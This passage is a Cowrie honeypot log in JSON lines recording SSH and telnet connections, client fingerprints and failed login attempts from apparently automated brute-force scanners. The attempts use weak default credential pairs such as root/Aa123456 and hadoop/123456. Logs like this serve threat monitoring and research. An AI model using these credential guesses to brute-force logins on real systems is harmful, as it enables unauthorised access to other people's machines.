{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:47.100075Z","src_ip":"192.109.200.237","session":"79ebe8e704bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456","message":"login attempt [root/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:47.347272Z","src_ip":"192.109.200.237","session":"79ebe8e704bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:48.431366Z","src_ip":"192.109.200.237","session":"79ebe8e704bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":37210,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d37fb91a8bb","protocol":"telnet","message":"New connection: 50.6.8.71:37210 (10.17.0.5:23) [session: 9d37fb91a8bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:48.532424Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":52998,"dst_ip":"159.203.135.109","dst_port":22,"session":"4545a941465b","protocol":"ssh","message":"New connection: 192.109.200.237:52998 (159.203.135.109:22) [session: 4545a941465b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:50.407298Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:50.412081Z","src_ip":"192.109.200.237","session":"4545a941465b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:50.494420Z","src_ip":"192.109.200.237","session":"4545a941465b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app","message":"login attempt [app/app] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:50.739904Z","src_ip":"192.109.200.237","session":"4545a941465b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:51.824188Z","src_ip":"192.109.200.237","session":"4545a941465b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":53000,"dst_ip":"159.203.135.109","dst_port":22,"session":"3802bef8173b","protocol":"ssh","message":"New connection: 192.109.200.237:53000 (159.203.135.109:22) [session: 3802bef8173b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:53.937794Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:53.945183Z","src_ip":"192.109.200.237","session":"3802bef8173b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:54.026896Z","src_ip":"192.109.200.237","session":"3802bef8173b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftpuser","password":"sftpuser","message":"login attempt [sftpuser/sftpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:54.273661Z","src_ip":"192.109.200.237","session":"3802bef8173b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:55.358408Z","src_ip":"192.109.200.237","session":"3802bef8173b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":53010,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b459db55dd8","protocol":"ssh","message":"New connection: 192.109.200.237:53010 (159.203.135.109:22) [session: 6b459db55dd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:57.385094Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:57.389652Z","src_ip":"192.109.200.237","session":"6b459db55dd8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:57.471988Z","src_ip":"192.109.200.237","session":"6b459db55dd8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vbox","password":"123456","message":"login attempt [vbox/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:57.718154Z","src_ip":"192.109.200.237","session":"6b459db55dd8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:58.803806Z","src_ip":"192.109.200.237","session":"6b459db55dd8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.8891236782074,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:59.230973Z","src_ip":"50.6.8.71","session":"088f2ffdf94d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.38733148574829,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:16:59.900503Z","src_ip":"50.6.8.71","session":"36d461216d4d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":35748,"dst_ip":"159.203.135.109","dst_port":22,"session":"adfcb7db96cd","protocol":"ssh","message":"New connection: 192.109.200.237:35748 (159.203.135.109:22) [session: adfcb7db96cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:00.966890Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:00.972004Z","src_ip":"192.109.200.237","session":"adfcb7db96cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:01.054446Z","src_ip":"192.109.200.237","session":"adfcb7db96cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"123456","message":"login attempt [hadoop/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:01.381617Z","src_ip":"192.109.200.237","session":"adfcb7db96cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":48554,"dst_ip":"10.17.0.5","dst_port":23,"session":"6093097f9560","protocol":"telnet","message":"New connection: 50.6.8.71:48554 (10.17.0.5:23) [session: 6093097f9560]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:01.576683Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:02.472717Z","src_ip":"192.109.200.237","session":"adfcb7db96cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":35752,"dst_ip":"159.203.135.109","dst_port":22,"session":"0477279c02e5","protocol":"ssh","message":"New connection: 192.109.200.237:35752 (159.203.135.109:22) [session: 0477279c02e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:04.670345Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:04.680940Z","src_ip":"192.109.200.237","session":"0477279c02e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:04.764195Z","src_ip":"192.109.200.237","session":"0477279c02e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pool","password":"pool","message":"login attempt [pool/pool] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:05.014842Z","src_ip":"192.109.200.237","session":"0477279c02e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:06.102624Z","src_ip":"192.109.200.237","session":"0477279c02e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.79065752029419,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:06.956785Z","src_ip":"50.6.8.71","session":"663992717a92","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":35764,"dst_ip":"159.203.135.109","dst_port":22,"session":"8852577c483c","protocol":"ssh","message":"New connection: 192.109.200.237:35764 (159.203.135.109:22) [session: 8852577c483c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:08.093539Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:08.098158Z","src_ip":"192.109.200.237","session":"8852577c483c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:08.180378Z","src_ip":"192.109.200.237","session":"8852577c483c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123abc456","message":"login attempt [root/123abc456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:08.427910Z","src_ip":"192.109.200.237","session":"8852577c483c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:09.513525Z","src_ip":"192.109.200.237","session":"8852577c483c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":56230,"dst_ip":"159.203.135.109","dst_port":22,"session":"56bc41cc1778","protocol":"ssh","message":"New connection: 192.109.200.237:56230 (159.203.135.109:22) [session: 56bc41cc1778]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:11.538291Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:11.542176Z","src_ip":"192.109.200.237","session":"56bc41cc1778","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:11.627381Z","src_ip":"192.109.200.237","session":"56bc41cc1778","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aiuser","password":"123456","message":"login attempt [aiuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:11.995140Z","src_ip":"192.109.200.237","session":"56bc41cc1778","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.523155212402344,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:12.979686Z","src_ip":"50.6.8.71","session":"5445eb771d70","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:13.079630Z","src_ip":"192.109.200.237","session":"56bc41cc1778","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":56232,"dst_ip":"159.203.135.109","dst_port":22,"session":"bfcc10e52206","protocol":"ssh","message":"New connection: 192.109.200.237:56232 (159.203.135.109:22) [session: bfcc10e52206]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:15.146203Z"}
